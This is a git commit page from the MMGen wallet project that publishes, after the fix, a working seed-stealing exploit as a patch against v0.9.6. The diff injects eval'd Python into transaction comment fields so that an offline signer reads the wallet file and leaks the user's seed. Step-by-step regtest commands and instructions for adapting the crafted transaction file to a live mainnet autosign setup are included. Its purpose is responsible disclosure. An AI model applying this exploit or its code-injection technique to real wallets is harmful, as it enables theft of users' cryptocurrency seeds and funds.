Browse Source

Pre-0.9.7 seed-stealing exploit

Versions of MMGen prior to 0.9.7 were vulnerable to an attack whereby a
compromised MMGen installation on the network-connected machine could trick
an offline installation into revealing the user's seed via a specially crafted
transaction file.

Since sufficient time has passed for users to upgrade, we now deem it safe to
publish the exploit, implemented as a patch against v0.9.6.  Instructions for
use are in the patch itself.
MMGen 6 years ago
parent
commit
06af7342cf
1 changed files with 67 additions and 0 deletions
  1. 67 0
      scripts/txsign-eval-exploit.diff

+ 67 - 0
scripts/txsign-eval-exploit.diff

@@ -0,0 +1,67 @@
+# Implements the exploit that allowed a compromised MMGen on an online machine
+# to fool an offline signing MMGen into passing the user's seed back to the
+# online machine via a specially crafted transaction
+
+# The seed is split in two and passed via the the input and output transaction
+# comments
+
+# Patch is against v0.9.6 - 6b9df0e contains the fix, which was included in v0.9.7
+
+# Testing the exploit in Regtest mode:
+#  $ git checkout -b evil_exploit v0.9.6
+#  $ git apply scripts/txsign-eval-exploit.diff
+#  $ git commit -a -m foo
+#  $ mmgen-regtest setup
+#  $ mmgen-regtest bob
+#  $ mmgen-walletgen -q -p1 -r0 --bob -L label     # (hit ENTER 3 times, remember Bob's Seed ID)
+#  $ mmgen-addrgen -q --bob 1-2
+#  $ mmgen-addrimport -q --bob *.addrs
+#  $ mmgen-regtest send <BTC addr of 1st imported address> 500
+#  # Set PYTHONPATH to use the patched mmgen/tx.py module without installing it:
+#  $ PYTHONPATH=. cmds/mmgen-txcreate --tx-fee=10s -q --bob <Bob's Seed ID>:L:2
+#  $ PYTHONPATH=. cmds/mmgen-txsign -q --bob *.rawtx
+#  $ mmgen-tool --testnet=1 txview *.sigtx         # Bob's seed is contained in the two comments
+#  $ mmgen-walletconv -q -p1 -r0 --bob -o mmhex -S | cut -d ' ' -f 2- # verify that seed matches
+
+# To modify the tx file for a live autosign setup:
+# - uncomment the commented-out line in the patched code
+# - repeat the txcreate step
+# - edit the resulting tx file:
+#   + replace the testnet addresses with their mainnet equivalents
+#   + replace 'REGTEST' with 'MAINNET'
+#   + replace the file's checksum in the first line with the output of 'scripts/compute-file-chksum.py'
+
+# Make sure to return to master branch when you're finished:
+#  $ git checkout master
+
+diff --git a/mmgen/tx.py b/mmgen/tx.py
+index 0d43840..d167040 100755
+--- a/mmgen/tx.py
++++ b/mmgen/tx.py
+@@ -557,6 +557,15 @@ class MMGenTX(MMGenObject):
+ 	def format(self):
+ 		self.inputs.check_coin_mismatch()
+ 		self.outputs.check_coin_mismatch()
++		d_in = repr([e.__dict__ for e in self.inputs])
++		d_out = repr([e.__dict__ for e in self.outputs])
++		if g.prog_name == 'mmgen-txcreate':
++			mod = "__import__('mmgen.seed',globals(),locals(),['SeedSource'])"
++			wdir = "os.environ['HOME']+'/.mmgen/regtest/btc/bob/'"
++			# wdir = "'/dev/shm/autosign/'" # use this for a real online/offline setup with autosign
++			wfile = "{w}+os.listdir({w})[-1]".format(w=wdir)
++			d_in = d_in.replace("'label': u''","'label': {}.SeedSource({}).seed.hexdata[:32]".format(mod,wfile))
++			d_out = d_out.replace('{',"{{'label': {}.SeedSource({}).seed.hexdata[32:], ".format(mod,wfile))
+ 		lines = [
+ 			'{}{} {} {} {} {}{}'.format(
+ 				(g.coin+' ','')[g.coin=='BTC'],
+@@ -568,8 +577,8 @@ class MMGenTX(MMGenObject):
+ 				('',' LT={}'.format(self.locktime))[bool(self.locktime)]
+ 			),
+ 			self.hex,
+-			repr([e.__dict__ for e in self.inputs]),
+-			repr([e.__dict__ for e in self.outputs])
++			d_in,
++			d_out
+ 		]
+ 		if self.label:
+ 			lines.append(baseconv.b58encode(self.label.encode('utf8')))